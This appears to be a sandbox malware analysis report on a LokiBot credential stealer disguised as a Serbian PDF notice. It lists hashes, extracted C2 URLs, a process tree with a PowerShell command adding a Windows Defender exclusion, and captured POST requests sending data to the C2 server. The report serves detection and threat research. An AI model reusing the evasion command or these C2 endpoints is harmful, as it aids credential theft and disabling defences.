Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

Obavestenj...md.exe

windows7-x64

10

Obavestenj...md.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/07/2024, 11:41 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Obavestenje o deviznom prilivu.Pdf.cmd.exe

  • Size

    867KB

  • MD5

    9e563eff473f135bb745d111006aa96b

  • SHA1

    18b34df821644267e39f7bec4f71c11f72703dad

  • SHA256

    b2059d6bde8d6af8476a968a13f14486edf3c905495a36cd963dc9765c40863a

  • SHA512

    e122ffcc5109e2d0640ccd73b09d29820295f2ca6f094955056cb5d8a2079660b5dc762cbcdfac3deb9761642c796bf8e9d704d2c85b8d9d996352be15b2ed6b

  • SSDEEP

    12288:0NYa2DndPYCRlHEHoJP1+NBSoqoOKVck0FgRry24s7aAAT3YRaAWDmyp2aU7tUHu:0NezHRl7PD31KykZR+sATIRYI

Score
10/10
lokibotcollectionexecutionspywarestealertrojan

Malware Config

Extracted

Family

lokibot

C2

http://45.61.136.239/index.php/gyr.php?id=1

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

    trojanspywarestealerlokibot
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Obavestenje o deviznom prilivu.Pdf.cmd.exe
    "C:\Users\Admin\AppData\Local\Temp\Obavestenje o deviznom prilivu.Pdf.cmd.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2684
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Obavestenje o deviznom prilivu.Pdf.cmd.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1268
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      2⤵
        PID:4276
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        2⤵
        • Accesses Microsoft Outlook profiles
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:548

    Network

    • flag-us
      DNS
      8.8.8.8.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      8.8.8.8.in-addr.arpa
      IN PTR
      Response
      8.8.8.8.in-addr.arpa
      IN PTR
      dnsgoogle
    • flag-us
      DNS
      28.118.140.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      28.118.140.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      28.118.140.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      28.118.140.52.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      34.56.20.217.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      34.56.20.217.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      34.56.20.217.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      34.56.20.217.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      136.32.126.40.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      136.32.126.40.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      104.219.191.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      104.219.191.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      POST
      http://45.61.136.239/index.php/gyr.php?id=1
      RegSvcs.exe
      Remote address:
      45.61.136.239:80
      Request
      POST /index.php/gyr.php?id=1 HTTP/1.0
      User-Agent: Mozilla/4.08 (Charon; Inferno)
      Host: 45.61.136.239
      Accept: */*
      Content-Type: application/octet-stream
      Content-Encoding: binary
      Content-Key: 276C0BD8
      Content-Length: 358
      Connection: close
      Response
      HTTP/1.0 404 Not Found
      Date: Tue, 02 Jul 2024 11:41:21 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Expires: Wed, 11 Jan 1984 05:00:00 GMT
      Cache-Control: no-cache, must-revalidate, max-age=0
      Link: <http://45.61.136.239/index.php/wp-json/>; rel="https://api.w.org/"
      Connection: close
      Content-Type: text/html; charset=UTF-8
    • flag-us
      DNS
      239.136.61.45.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      239.136.61.45.in-addr.arpa
      IN PTR
      Response
    • flag-us
      POST
      http://45.61.136.239/index.php/gyr.php?id=1
      RegSvcs.exe
      Remote address:
      45.61.136.239:80
      Request
      POST /index.php/gyr.php?id=1 HTTP/1.0
      User-Agent: Mozilla/4.08 (Charon; Inferno)
      Host: 45.61.136.239
      Accept: */*
      Content-Type: application/octet-stream
      Content-Encoding: binary
      Content-Key: 276C0BD8
      Content-Length: 180
      Connection: close
      Response
      HTTP/1.0 404 Not Found
      Date: Tue, 02 Jul 2024 11:41:23 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Expires: Wed, 11 Jan 1984 05:00:00 GMT
      Cache-Control: no-cache, must-revalidate, max-age=0
      Link: <http://45.61.136.239/index.php/wp-json/>; rel="https://api.w.org/"
      Connection: close
      Content-Type: text/html; charset=UTF-8
    • flag-us
      POST
      http://45.61.136.239/index.php/gyr.php?id=1
      RegSvcs.exe
      Remote address:
      45.61.136.239:80
      Request
      POST /index.php/gyr.php?id=1 HTTP/1.0
      User-Agent: Mozilla/4.08 (Charon; Inferno)
      Host: 45.61.136.239
      Accept: */*
      Content-Type: application/octet-stream
      Content-Encoding: binary
      Content-Key: 276C0BD8
      Content-Length: 153
      Connection: close
      Response
      HTTP/1.0 404 Not Found
      Date: Tue, 02 Jul 2024 11:41:28 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Expires: Wed, 11 Jan 1984 05:00:00 GMT
      Cache-Control: no-cache, must-revalidate, max-age=0
      Link: <http://45.61.136.239/index.php/wp-json/>; rel="https://api.w.org/"
      Connection: close
      Content-Type: text/html; charset=UTF-8
    • flag-us
      DNS
      86.23.85.13.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      86.23.85.13.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      15.164.165.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      15.164.165.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      57.15.31.184.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      57.15.31.184.in-addr.arpa
      IN PTR
      Response
      57.15.31.184.in-addr.arpa
      IN PTR
      a184-31-15-57deploystaticakamaitechnologiescom
    • flag-us
      DNS
      82.90.14.23.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      82.90.14.23.in-addr.arpa
      IN PTR
      Response
      82.90.14.23.in-addr.arpa
      IN PTR
      a23-14-90-82deploystaticakamaitechnologiescom
    • flag-us
      POST
      http://45.61.136.239/index.php/gyr.php?id=1
      RegSvcs.exe
      Remote address:
      45.61.136.239:80
      Request
      POST /index.php/gyr.php?id=1 HTTP/1.0
      User-Agent: Mozilla/4.08 (Charon; Inferno)
      Host: 45.61.136.239
      Accept: */*
      Content-Type: application/octet-stream
      Content-Encoding: binary
      Content-Key: 276C0BD8
      Content-Length: 153
      Connection: close
      Response
      HTTP/1.0 404 Not Found
      Date: Tue, 02 Jul 2024 11:42:31 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Expires: Wed, 11 Jan 1984 05:00:00 GMT
      Cache-Control: no-cache, must-revalidate, max-age=0
      Link: <http://45.61.136.239/index.php/wp-json/>; rel="https://api.w.org/"
      Connection: close
      Content-Type: text/html; charset=UTF-8
    • flag-us
      DNS
      11.227.111.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      11.227.111.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      240.221.184.93.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      240.221.184.93.in-addr.arpa
      IN PTR
      Response
    • flag-us
      POST
      http://45.61.136.239/index.php/gyr.php?id=1
      RegSvcs.exe
      Remote address:
      45.61.136.239:80
      Request
      POST /index.php/gyr.php?id=1 HTTP/1.0
      User-Agent: Mozilla/4.08 (Charon; Inferno)
      Host: 45.61.136.239
      Accept: */*
      Content-Type: application/octet-stream
      Content-Encoding: binary
      Content-Key: 276C0BD8
      Content-Length: 153
      Connection: close
    • flag-us
      DNS
      28.73.42.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      28.73.42.20.in-addr.arpa
      IN PTR
      Response
    • 45.61.136.239:80
      http://45.61.136.239/index.php/gyr.php?id=1
      http
      RegSvcs.exe
      1.5kB
       19.7kB
       19
      18

      HTTP Request

      POST http://45.61.136.239/index.php/gyr.php?id=1

      HTTP Response

      404
    • 45.61.136.239:80
      http://45.61.136.239/index.php/gyr.php?id=1
      http
      RegSvcs.exe
      1.3kB
       19.7kB
       19
      18

      HTTP Request

      POST http://45.61.136.239/index.php/gyr.php?id=1

      HTTP Response

      404
    • 45.61.136.239:80
      http://45.61.136.239/index.php/gyr.php?id=1
      http
      RegSvcs.exe
      1.5kB
       30.9kB
       23
      25

      HTTP Request

      POST http://45.61.136.239/index.php/gyr.php?id=1

      HTTP Response

      404
    • 45.61.136.239:80
      http://45.61.136.239/index.php/gyr.php?id=1
      http
      RegSvcs.exe
      1.0kB
       11.3kB
       13
      11

      HTTP Request

      POST http://45.61.136.239/index.php/gyr.php?id=1

      HTTP Response

      404
    • 45.61.136.239:80
      http://45.61.136.239/index.php/gyr.php?id=1
      http
      RegSvcs.exe
      579 B
       132 B
       4
      3

      HTTP Request

      POST http://45.61.136.239/index.php/gyr.php?id=1
    • 8.8.8.8:53
      8.8.8.8.in-addr.arpa
      dns
      66 B
       90 B
       1
      1

      DNS Request

      8.8.8.8.in-addr.arpa

    • 8.8.8.8:53
      28.118.140.52.in-addr.arpa
      dns
      144 B
       158 B
       2
      1

      DNS Request

      28.118.140.52.in-addr.arpa

      DNS Request

      28.118.140.52.in-addr.arpa

    • 8.8.8.8:53
      34.56.20.217.in-addr.arpa
      dns
      142 B
       131 B
       2
      1

      DNS Request

      34.56.20.217.in-addr.arpa

      DNS Request

      34.56.20.217.in-addr.arpa

    • 8.8.8.8:53
      136.32.126.40.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      136.32.126.40.in-addr.arpa

    • 8.8.8.8:53
      104.219.191.52.in-addr.arpa
      dns
      73 B
       147 B
       1
      1

      DNS Request

      104.219.191.52.in-addr.arpa

    • 8.8.8.8:53
      239.136.61.45.in-addr.arpa
      dns
      72 B
       127 B
       1
      1

      DNS Request

      239.136.61.45.in-addr.arpa

    • 8.8.8.8:53
      86.23.85.13.in-addr.arpa
      dns
      70 B
       144 B
       1
      1

      DNS Request

      86.23.85.13.in-addr.arpa

    • 8.8.8.8:53
      15.164.165.52.in-addr.arpa
      dns
      72 B
       146 B
       1
      1

      DNS Request

      15.164.165.52.in-addr.arpa

    • 8.8.8.8:53
      57.15.31.184.in-addr.arpa
      dns
      71 B
       135 B
       1
      1

      DNS Request

      57.15.31.184.in-addr.arpa

    • 8.8.8.8:53
      82.90.14.23.in-addr.arpa
      dns
      70 B
       133 B
       1
      1

      DNS Request

      82.90.14.23.in-addr.arpa

    • 8.8.8.8:53
      11.227.111.52.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      11.227.111.52.in-addr.arpa

    • 8.8.8.8:53
      240.221.184.93.in-addr.arpa
      dns
      73 B
       144 B
       1
      1

      DNS Request

      240.221.184.93.in-addr.arpa

    • 8.8.8.8:53
      28.73.42.20.in-addr.arpa
      dns
      70 B
       156 B
       1
      1

      DNS Request

      28.73.42.20.in-addr.arpa

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1v1shkib.m5r.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4124900551-4068476067-3491212533-1000\0f5007522459c86e95ffcc62f32308f1_310807ab-751f-4d81-ae09-b202eaf21e19
      Filesize

      46B

      MD5

      d898504a722bff1524134c6ab6a5eaa5

      SHA1

      e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

      SHA256

      878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

      SHA512

      26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4124900551-4068476067-3491212533-1000\0f5007522459c86e95ffcc62f32308f1_310807ab-751f-4d81-ae09-b202eaf21e19
      Filesize

      46B

      MD5

      c07225d4e7d01d31042965f048728a0a

      SHA1

      69d70b340fd9f44c89adb9a2278df84faa9906b7

      SHA256

      8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

      SHA512

      23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

      Download Submit

    • memory/548-12-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

      Download

    • memory/548-14-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

      Download

    • memory/548-94-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

      Download

    • memory/548-86-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

      Download

    • memory/548-17-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

      Download

    • memory/1268-59-0x00000000077C0000-0x00000000077CA000-memory.dmp

      Filesize

      40KB

      Download

    • memory/1268-52-0x0000000074740000-0x0000000074EF0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1268-77-0x0000000074740000-0x0000000074EF0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1268-65-0x0000000007A70000-0x0000000007A78000-memory.dmp

      Filesize

      32KB

      Download

    • memory/1268-64-0x0000000007A90000-0x0000000007AAA000-memory.dmp

      Filesize

      104KB

      Download

    • memory/1268-37-0x00000000068C0000-0x000000000690C000-memory.dmp

      Filesize

      304KB

      Download

    • memory/1268-62-0x0000000007980000-0x000000000798E000-memory.dmp

      Filesize

      56KB

      Download

    • memory/1268-61-0x0000000007950000-0x0000000007961000-memory.dmp

      Filesize

      68KB

      Download

    • memory/1268-18-0x000000007474E000-0x000000007474F000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1268-19-0x0000000074740000-0x0000000074EF0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1268-36-0x0000000006420000-0x000000000643E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/1268-21-0x0000000074740000-0x0000000074EF0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1268-22-0x0000000005620000-0x0000000005C48000-memory.dmp

      Filesize

      6.2MB

      Download

    • memory/1268-23-0x0000000005370000-0x0000000005392000-memory.dmp

      Filesize

      136KB

      Download

    • memory/1268-25-0x00000000055B0000-0x0000000005616000-memory.dmp

      Filesize

      408KB

      Download

    • memory/1268-24-0x0000000005490000-0x00000000054F6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/1268-60-0x00000000079D0000-0x0000000007A66000-memory.dmp

      Filesize

      600KB

      Download

    • memory/1268-35-0x0000000005E50000-0x00000000061A4000-memory.dmp

      Filesize

      3.3MB

      Download

    • memory/1268-20-0x0000000004E50000-0x0000000004E86000-memory.dmp

      Filesize

      216KB

      Download

    • memory/1268-63-0x0000000007990000-0x00000000079A4000-memory.dmp

      Filesize

      80KB

      Download

    • memory/1268-57-0x0000000007D90000-0x000000000840A000-memory.dmp

      Filesize

      6.5MB

      Download

    • memory/1268-53-0x0000000006A00000-0x0000000006A1E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/1268-41-0x00000000073E0000-0x0000000007412000-memory.dmp

      Filesize

      200KB

      Download

    • memory/1268-42-0x0000000070480000-0x00000000704CC000-memory.dmp

      Filesize

      304KB

      Download

    • memory/1268-54-0x0000000007420000-0x00000000074C3000-memory.dmp

      Filesize

      652KB

      Download

    • memory/1268-55-0x0000000074740000-0x0000000074EF0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1268-56-0x0000000074740000-0x0000000074EF0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1268-58-0x0000000007750000-0x000000000776A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/2684-1-0x0000000000F20000-0x0000000000FFA000-memory.dmp

      Filesize

      872KB

      Download

    • memory/2684-4-0x00000000746A0000-0x0000000074E50000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/2684-3-0x0000000007EB0000-0x0000000007F42000-memory.dmp

      Filesize

      584KB

      Download

    • memory/2684-16-0x00000000746A0000-0x0000000074E50000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/2684-7-0x0000000008080000-0x000000000809A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/2684-11-0x0000000007BE0000-0x0000000007C7C000-memory.dmp

      Filesize

      624KB

      Download

    • memory/2684-8-0x0000000006A90000-0x0000000006A98000-memory.dmp

      Filesize

      32KB

      Download

    • memory/2684-9-0x0000000007B20000-0x0000000007B2C000-memory.dmp

      Filesize

      48KB

      Download

    • memory/2684-10-0x0000000007D80000-0x0000000007DE2000-memory.dmp

      Filesize

      392KB

      Download

    • memory/2684-2-0x00000000083C0000-0x0000000008964000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/2684-6-0x0000000009B10000-0x000000000A03C000-memory.dmp

      Filesize

      5.2MB

      Download

    • memory/2684-0-0x00000000746AE000-0x00000000746AF000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2684-5-0x0000000005480000-0x000000000548A000-memory.dmp

      Filesize

      40KB

      Download

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.